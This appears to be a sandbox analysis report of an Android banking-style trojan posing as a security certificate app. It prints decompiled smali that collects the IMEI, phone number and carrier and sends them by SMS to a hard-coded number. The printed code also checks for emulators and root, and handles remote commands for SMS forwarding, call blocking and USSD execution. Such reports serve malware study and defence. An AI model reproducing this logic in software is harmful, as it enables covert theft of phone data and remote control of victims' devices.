  • Time: 114324
    • Return:
      • 4.2.1
53invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: os_version
55const-string v0, "phone_number"
57invoke-virtual {v3, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: phone_number
59const-string v0, "default_delay"
60const/16 v1, 0x3c
62invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: default_delay
    • param1: 60
64const-string v1, "rooted"
66invoke-static {}, Lcom/security/cert/b/b;->a()Z
67move-result v0
68if-eqz v0, :cond_cf
70const-string v0, "true"
71goto_5b:
72invoke-virtual {v3, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: rooted
    • param1: true
74const-string v0, "language"
76invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
77move-result-object v1
79invoke-virtual {v1}, Ljava/util/Locale;->getLanguage()Ljava/lang/String;
80move-result-object v1
82invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: language
84const-string v0, "app_version"
86const-string v1, "2.1"
88invoke-virtual {v3, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: app_version
    • param1: 2.1
89goto_72:
90invoke-static {p0}, Lcom/security/cert/b/b;->b(Landroid/content/Context;)Ljava/lang/String;
91move-result-object v1
93invoke-static {p0}, Lcom/security/cert/b/b;->c(Landroid/content/Context;)Ljava/lang/String;
94move-result-object v2
96invoke-static {p0}, Lcom/security/cert/b/b;->d(Landroid/content/Context;)Ljava/lang/String;
97move-result-object v0
98if-nez v2, :cond_82
100const-string v2, ""
101cond_82: if-nez v1, :cond_86
103const-string v1, ""
104cond_86: if-nez v0, :cond_8a
106const-string v0, ""
107cond_8a:
108invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
109move-result-object v0
111const-string v4, "android"
113invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: android
114move-result v0
115if-nez v0, :cond_ca
117const-string v0, "000000000000000"
119invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: 000000000000000
120move-result v0
121if-nez v0, :cond_ca
123const-string v0, "012345678912345"
125invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: 012345678912345
126move-result v0
127if-nez v0, :cond_ca
129const-string v0, "15555215554"
131invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: 15555215554
132move-result v0
133if-nez v0, :cond_ca
135sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
  • Time: 114354
    • Return:
      • Galaxy Nexus
137invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
138move-result-object v0
140const-string v1, "sdk"
142invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: sdk
143move-result v0
144if-nez v0, :cond_ca
146sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
  • Time: 114355
    • Return:
      • Galaxy Nexus
148invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
149move-result-object v0
151const-string v1, "generic"
153invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: generic
154move-result v0
155if-eqz v0, :cond_dd
156cond_ca: const/4 v0, 0x1
158invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Z)V
159goto_ce: return-void
160cond_cf:
161const-string v0, "false"
162try_end_d1: goto/16 :goto_5b
163catch_d2: move-exception v0
165const-string v1, "ServerApi"
167invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String;
168move-result-object v0
170invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ServerApi
171goto/16 :goto_72
172cond_dd: new-instance v0, Lcom/security/cert/b/b/a/d;
174invoke-direct {v0}, Lcom/security/cert/b/b/a/d;-><init>()V
176invoke-static {p0, v3, v0}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V
177goto/16 :goto_ce
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.Runtime.getRuntime
  • java.lang.Runtime.exec
  • java.lang.Process.getInputStream
  • java.io.InputStreamReader.<init>
  • java.io.BufferedReader.<init>
  • java.io.BufferedReader.readLine
  • java.lang.String.matches
  • java.io.BufferedReader.close
  • java.lang.String.contains
  • java.io.IOException.getMessage
  • android.util.Log.e
  • java.io.IOException.getMessage
  • android.util.Log.e
  • java.io.BufferedReader.close
  • java.io.IOException.getMessage
  • android.util.Log.e
  • java.io.BufferedReader.close
  • java.io.IOException.getMessage
  • android.util.Log.e
Strings
  • :
  • *:S
  • logcat
  • -d
  • --------- beginning of /dev/log/main
  • --------- beginning of /dev/log/system
  • ussdtestlog
Position Instruction Meta Information
0const/4 v0, 0x0
1const/4 v1, 0x1
2const/4 v3, 0x0
3new-instance v2, Ljava/lang/StringBuilder;
5invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
7invoke-virtual {v2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
8move-result-object v2
10const-string v4, ":"
12invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: :
13move-result-object v2
15invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v2
18invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v2
21const-string v4, "*:S"
22try_start_1c:
23invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
24move-result-object v5
25const/4 v6, 0x4
26new-array v6, v6, [Ljava/lang/String;
27const/4 v7, 0x0
29const-string v8, "logcat"
30aput-object v8, v6, v7
31const/4 v7, 0x1
33const-string v8, "-d"
34aput-object v8, v6, v7
35const/4 v7, 0x2
36aput-object v2, v6, v7
37const/4 v2, 0x3
38aput-object v4, v6, v2
40invoke-virtual {v5, v6}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
  • Time: 114456
    • param0: [logcat, -d, USSDDumbExtendedNetworkService:I, *:S]
    • param0: [Ljava.lang.String;@a06b8ef8
    • Return:
      • Process[pid=2354]
41move-result-object v4
42new-instance v2, Ljava/io/BufferedReader;
43new-instance v5, Ljava/io/InputStreamReader;
45invoke-virtual {v4}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
46move-result-object v4
48invoke-direct {v5, v4}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
50invoke-direct {v2, v5}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
51try_end_45: if-eqz p3, :cond_5a
52try_start_47:
53invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
54move-result-object v3
55if-eqz v3, :cond_54
57invoke-virtual {v3, p2}, Ljava/lang/String;->matches(Ljava/lang/String;)Z
58try_end_50: move-result v3
59if-eqz v3, :cond_47
60move v0, v1
61goto_54: if-eqz v2, :cond_59
62try_start_56:
63invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
64try_end_59: return v0
65try_start_5a:
66invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
  • Time: 114905
    • Return:
      • --------- beginning of /dev/log/main
  • Time: 114906
    • Return:
      • --------- beginning of /dev/log/system
  • Time: 114907
    • Return:
      • null
67move-result-object v3
68if-eqz v3, :cond_54
70invoke-virtual {v3, p2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
71try_end_63: move-result v3
72if-eqz v3, :cond_5a
73move v0, v1
74goto/16 :goto_54
75catch_68: move-exception v1
77const-string v2, "ussdtestlog"
79invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
80move-result-object v1
82invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ussdtestlog
83goto/16 :goto_59
84catch_73: move-exception v1
85move-object v2, v3
86goto_75:
87const-string v3, "ussdtestlog"
89invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
90move-result-object v1
92invoke-static {v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ussdtestlog
93try_end_7e: if-eqz v2, :cond_59
94try_start_80:
95invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
96try_end_83: goto/16 :goto_59
97catch_84: move-exception v1
99const-string v2, "ussdtestlog"
101invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
102move-result-object v1
104invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ussdtestlog
105goto/16 :goto_59
106catchall_8f: move-exception v0
107goto_90: if-eqz v3, :cond_95
108try_start_92:
109invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
110try_end_95: throw v0
111catch_96: move-exception v1
113const-string v2, "ussdtestlog"
115invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
116move-result-object v1
118invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ussdtestlog
119goto/16 :goto_95
120catchall_a1: move-exception v0
121move-object v3, v2
122goto/16 :goto_90
123catch_a4: move-exception v1
124goto/16 :goto_75
APIs
  • android.telephony.SmsManager.getDefault
  • org.json.JSONObject.toString
  • android.telephony.SmsManager.divideMessage
  • java.util.ArrayList.size
  • android.content.Intent.<init>
  • org.json.JSONObject.toString
  • java.io.ByteArrayOutputStream.<init>
  • java.io.ObjectOutputStream.<init>
  • java.io.ObjectOutputStream.writeObject
  • android.content.Intent.putExtra
  • android.app.PendingIntent.getBroadcast
  • java.util.ArrayList.add
  • java.util.ArrayList.<init>
  • android.telephony.gsm.SmsManager.sendTextMessage
  • java.lang.IllegalArgumentException.toString
  • android.util.Log.e
Strings
  • android.intent.action.SMS_SENT
  • request
  • {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
  • LoadingCallBack
  • +447937281444
  • SmsClient
Position Instruction Meta Information
0const/4 v4, 0x0
1const/4 v2, 0x0
3invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
4move-result-object v0
6invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
7move-result-object v1
9invoke-virtual {v0, v1}, Landroid/telephony/SmsManager;->divideMessage(Ljava/lang/String;)Ljava/util/ArrayList;
10move-result-object v3
12invoke-virtual {v3}, Ljava/util/ArrayList;->size()I
13move-result v5
14if-nez p0, :cond_45
15goto_14: if-eqz v4, :cond_4b
16move v1, v2
17goto_17: if-ge v1, v5, :cond_4b
18new-instance v6, Landroid/content/Intent;
20const-string v7, "android.intent.action.SMS_SENT"
22invoke-direct {v6, v7}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: android.intent.action.SMS_SENT
24const-string v7, "request"
26invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
27move-result-object v8
29invoke-virtual {v6, v7, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Time: 115780
    • param0: request
    • param1: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
    • Return:
      • Intent { act=android.intent.action.SMS_SENT (has extras) }
30try_start_29: new-instance v7, Ljava/io/ObjectOutputStream;
31new-instance v8, Ljava/io/ByteArrayOutputStream;
33invoke-direct {v8}, Ljava/io/ByteArrayOutputStream;-><init>()V
35invoke-direct {v7, v8}, Ljava/io/ObjectOutputStream;-><init>(Ljava/io/OutputStream;)V
37invoke-virtual {v7, p2}, Ljava/io/ObjectOutputStream;->writeObject(Ljava/lang/Object;)V
39const-string v7, "LoadingCallBack"
41invoke-virtual {v6, v7, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/io/Serializable;)Landroid/content/Intent;
  • Time: 115788
    • param0: LoadingCallBack
    • param1: com.security.cert.b.b.a.d@a066b7f0
    • Return:
      • Intent { act=android.intent.action.SMS_SENT (has extras) }
42try_end_3b:
43invoke-static {p0, v2, v6, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
44move-result-object v6
46invoke-virtual {v4, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
47add-int/lit8 v1, v1, 0x1
48goto/16 :goto_17
49cond_45: new-instance v4, Ljava/util/ArrayList;
51invoke-direct {v4, v5}, Ljava/util/ArrayList;-><init>(I)V
52goto/16 :goto_14
53cond_4b:
54const-string v1, "+447937281444"
55const/4 v2, 0x0
56const/4 v5, 0x0
58invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendMultipartTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/util/ArrayList;Ljava/util/ArrayList;Ljava/util/ArrayList;)V
  • Time: 115820
    • param0: +447937281444
    • param1: null
    • param2: [{"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","roote, d":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}]
    • param3: [PendingIntent{a068ac48: android.os.BinderProxy@a06d7fe0}, PendingIntent{a06a8928: android.os.BinderProxy@a06d7fe0}]
    • param4: null
59try_end_52: return-void
60catch_53: move-exception v0
62const-string v1, "SmsClient"
64invoke-virtual {v0}, Ljava/lang/IllegalArgumentException;->toString()Ljava/lang/String;
65move-result-object v0
67invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: SmsClient
68goto/16 :goto_52
69catch_5e: move-exception v7
70goto/16 :goto_3b
APIs
  • com.security.cert.ui.MainActivity.getSystemService
  • java.lang.Object.getClass
  • java.lang.Class.getName
  • java.lang.Class.forName
  • java.lang.Class.getDeclaredMethod
  • java.lang.reflect.Method.setAccessible
  • android.telephony.TelephonyManager.getITelephony
Strings
  • phone
  • getITelephony
Position Instruction Meta Information
0const/4 v4, 0x0
2const-string v0, "phone"
4invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 173348
    • param0: phone
    • Return:
      • android.telephony.TelephonyManager@a067bf50
5move-result-object v0
6check-cast v0, Landroid/telephony/TelephonyManager;
8invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
9move-result-object v1
11invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
12move-result-object v1
14invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
15move-result-object v1
17const-string v2, "getITelephony"
18new-array v3, v4, [Ljava/lang/Class;
20invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  • Time: 173349
    • param0: getITelephony
    • param1: [Ljava.lang.Class;@a069aff8
    • Return:
      • getITelephony
      • private com.android.internal.telephony.ITelephony android.telephony.TelephonyManager.getITelephony()
21move-result-object v1
22const/4 v2, 0x1
24invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
  • Data flow analysis:
    • param0: 1
25new-array v2, v4, [Ljava/lang/Object;
27invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
  • Reflective invoke: android.telephony.TelephonyManager.getITelephony
    • Return:
      • com.android.internal.telephony.ITelephony$Stub$Proxy@a06d1e98
  • Time: 173350
    • param0: android.telephony.TelephonyManager@a067bf50
    • param1: [Ljava.lang.Object;@a06b5a68
    • Return:
      • com.android.internal.telephony.ITelephony$Stub$Proxy@a06d1e98
28move-result-object v0
29check-cast v0, Lcom/a/a/a/d;
30return-object v0
APIs
  • java.lang.String.contains
  • java.io.File.<init>
  • java.io.File.exists
Strings
  • release-keys
  • test-keys
  • /system/app/Superuser.apk
Position Instruction Meta Information
0const/4 v0, 0x1
2sget-object v1, Landroid/os/Build;->TAGS:Ljava/lang/String;
  • Time: 114325
    • Return:
      • release-keys
3if-eqz v1, :cond_e
5const-string v2, "test-keys"
7invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • param0: test-keys
8move-result v1
9if-eqz v1, :cond_e
10goto_d: return v0
11try_start_e: new-instance v1, Ljava/io/File;
13const-string v2, "/system/app/Superuser.apk"
15invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 114326
    • param0: /system/app/Superuser.apk
    • Return:
      • /system/app/Superuser.apk
17invoke-virtual {v1}, Ljava/io/File;->exists()Z
  • Time: 114329
    • Return:
      • true
18try_end_18: move-result v1
19if-nez v1, :cond_d
20goto_1b: const/4 v0, 0x0
21goto/16 :goto_d
22catch_1d: move-exception v0
23goto/16 :goto_1b
APIs
  • android.telephony.SmsManager.getDefault
  • android.telephony.gsm.SmsManager.sendTextMessage
Strings
  • +41666666
  • Joe Security says hello world!
Position Instruction Meta Information
0const/4 v2, 0x0
2invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
3move-result-object v0
4move-object v1, p1
5move-object v3, p2
6move-object v4, v2
7move-object v5, v2
9invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
  • Time: 184903
    • destinationAddress: +41666666
    • scAddress: null
    • text: Joe Security says hello world!
    • sentIntent: null
    • deliveryIntent: null
10return-void
APIs
  • com.security.cert.ui.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getDeviceId
Strings
  • phone
  • 906251865357964
Position Instruction Meta Information
1const-string v0, "phone"
3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 114292
    • param0: phone
    • Return:
      • android.telephony.TelephonyManager@a067bf50
4move-result-object v0
5check-cast v0, Landroid/telephony/TelephonyManager;
7invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
  • Time: 114294
    • Return:
      • 906251865357964
8move-result-object v0
9return-object v0
APIs
  • com.security.cert.ui.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getLine1Number
Strings
  • phone
  • 477354977525045
Position Instruction Meta Information
1const-string v0, "phone"
3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 114302
    • param0: phone
    • Return:
      • android.telephony.TelephonyManager@a067bf50
4move-result-object v0
5check-cast v0, Landroid/telephony/TelephonyManager;
7invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
  • Time: 114318
    • Return:
      • 477354977525045
8move-result-object v0
9return-object v0
APIs
  • com.security.cert.ui.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getNetworkOperatorName
Strings
  • phone
  • T-Mobile Deutschland GmbH
Position Instruction Meta Information
1const-string v0, "phone"
3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 114319
    • param0: phone
    • Return:
      • android.telephony.TelephonyManager@a067bf50
4move-result-object v0
5check-cast v0, Landroid/telephony/TelephonyManager;
7invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
  • Time: 114321
    • Return:
      • T-Mobile Deutschland GmbH
8move-result-object v0
9return-object v0
APIs
  • org.json.JSONObject.has
  • java.lang.String.equals
  • org.json.JSONObject.get
  • java.lang.String.equals
  • org.json.JSONObject.get
  • org.json.JSONException.toString
  • android.util.Log.e
  • java.lang.String.equals
  • org.json.JSONObject.getString
  • java.lang.String.equals
  • org.json.JSONObject.getString
  • java.lang.String.equals
  • org.json.JSONObject.getString
  • java.lang.String.equals
  • org.json.JSONObject.getInt
  • java.lang.String.equals
Strings
  • result
  • true
  • command
  • send_sms
  • start_call_blocking
  • start_sms_forwarding
  • ReCheckCommandReceiver
  • stop_sms_forwarding
  • stop_call_blocking
  • +41666666
  • phone_number
  • Joe Security says hello world!
  • message_text
  • execute_ussd
  • ussd_query
  • simple_execute_ussd
  • stop_program
  • show_message
  • delay_change
  • delay
  • ping
Position Instruction Meta Information
0try_start_0:
1const-string v0, "result"
3invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
  • Time: 116299
    • param0: result
    • Return:
      • false
  • Time: 155358
    • param0: result
    • Return:
      • true
4move-result v0
5if-eqz v0, :cond_31
7const-string v0, "result"
9invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 155359
    • param0: result
    • Return:
      • true
10move-result-object v0
12const-string v1, "true"
14invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: true
15move-result v0
16if-eqz v0, :cond_31
18const-string v0, "command"
20invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 155361
    • param0: command
    • Return:
      • start_call_blocking
  • Time: 184857
    • param0: command
    • Return:
      • send_sms
21move-result-object v0
23const-string v1, "start_sms_forwarding"
25invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: start_sms_forwarding
26move-result v1
27if-eqz v1, :cond_32
29const-string v0, "phone_number"
31invoke-virtual {p1, v0}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • param0: phone_number
32move-result-object v0
34invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/Object;)Ljava/lang/String;
35move-result-object v0
37invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/String;)V
38goto_31: return-void
39cond_32:
40const-string v1, "start_call_blocking"
42invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: start_call_blocking
43move-result v1
44if-eqz v1, :cond_53
46const-string v0, "phone_number"
48invoke-virtual {p1, v0}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • param0: phone_number
49move-result-object v0
51invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/Object;)Ljava/lang/String;
52move-result-object v0
54invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->b(Ljava/lang/String;)V
55try_end_47: goto/16 :goto_31
56catch_48: move-exception v0
58const-string v1, "ReCheckCommandReceiver"
60invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String;
61move-result-object v0
63invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ReCheckCommandReceiver
64goto/16 :goto_31
65try_start_53:
66const-string v1, "stop_sms_forwarding"
68invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: stop_sms_forwarding
69move-result v1
70if-eqz v1, :cond_60
71const/4 v0, 0x0
73invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/String;)V
74goto/16 :goto_31
75cond_60:
76const-string v1, "stop_call_blocking"
78invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: stop_call_blocking
79move-result v1
80if-eqz v1, :cond_6d
81const/4 v0, 0x0
83invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->b(Ljava/lang/String;)V
84goto/16 :goto_31
85cond_6d:
86const-string v1, "send_sms"
88invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: send_sms
89move-result v1
90if-eqz v1, :cond_85
92const-string v0, "phone_number"
94invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 184860
    • param0: phone_number
    • Return:
      • +41666666
95move-result-object v0
97const-string v1, "message_text"
99invoke-virtual {p1, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 184888
    • param0: message_text
    • Return:
      • Joe Security says hello world!
100move-result-object v1
102invoke-direct {p0, v0, v1}, Lcom/security/cert/b/b/a/a;->a(Ljava/lang/String;Ljava/lang/String;)V
103goto/16 :goto_31
104cond_85:
105const-string v1, "execute_ussd"
107invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: execute_ussd
108move-result v1
109if-eqz v1, :cond_97
111const-string v0, "ussd_query"
113invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: ussd_query
114move-result-object v0
116invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->c(Ljava/lang/String;)V
117goto/16 :goto_31
118cond_97:
119const-string v1, "simple_execute_ussd"
121invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: simple_execute_ussd
122move-result v1
123if-eqz v1, :cond_a9
125const-string v0, "ussd_query"
127invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: ussd_query
128move-result-object v0
130invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->d(Ljava/lang/String;)V
131goto/16 :goto_31
132cond_a9:
133const-string v1, "stop_program"
135invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: stop_program
136move-result v1
137if-eqz v1, :cond_b6
139invoke-direct {p0}, Lcom/security/cert/b/b/a/a;->b()V
140goto/16 :goto_31
141cond_b6:
142const-string v1, "show_message"
144invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: show_message
145move-result v1
146if-eqz v1, :cond_c9
148const-string v0, "message_text"
150invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: message_text
151move-result-object v0
153invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->e(Ljava/lang/String;)V
154goto/16 :goto_31
155cond_c9:
156const-string v1, "delay_change"
158invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: delay_change
159move-result v1
160if-eqz v1, :cond_dc
162const-string v0, "delay"
164invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • param0: delay
165move-result v0
167invoke-direct {p0, v0}, Lcom/security/cert/b/b/a/a;->a(I)V
168goto/16 :goto_31
169cond_dc:
170const-string v1, "ping"
172invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: ping
173move-result v0
174if-eqz v0, :cond_31
176iget-object v0, p0, Lcom/security/cert/b/b/a/a;->a:Landroid/content/Context;
178invoke-static {v0}, Lcom/security/cert/a/a/c;->b(Landroid/content/Context;)V
179try_end_e9: goto/16 :goto_31
APIs
  • com.security.cert.services.PhoneCallReceiver.c
  • android.content.Intent.getAction
  • java.lang.String.equalsIgnoreCase
  • android.content.Intent.getStringExtra
  • java.lang.String.equals
  • java.lang.Object.getClass
  • java.lang.Class.getSimpleName
  • android.util.Log.d
  • java.lang.String.equals
  • com.security.cert.services.PhoneCallReceiver.a
  • android.content.Intent.getExtras
  • android.os.Bundle.getString
  • com.security.cert.services.PhoneCallReceiver.a
Strings
  • android.intent.action.PHONE_STATE
  • RINGING
  • state
  • ACTION_TO_RECEIVER
  • .*
  • +41987654321
  • incoming_number
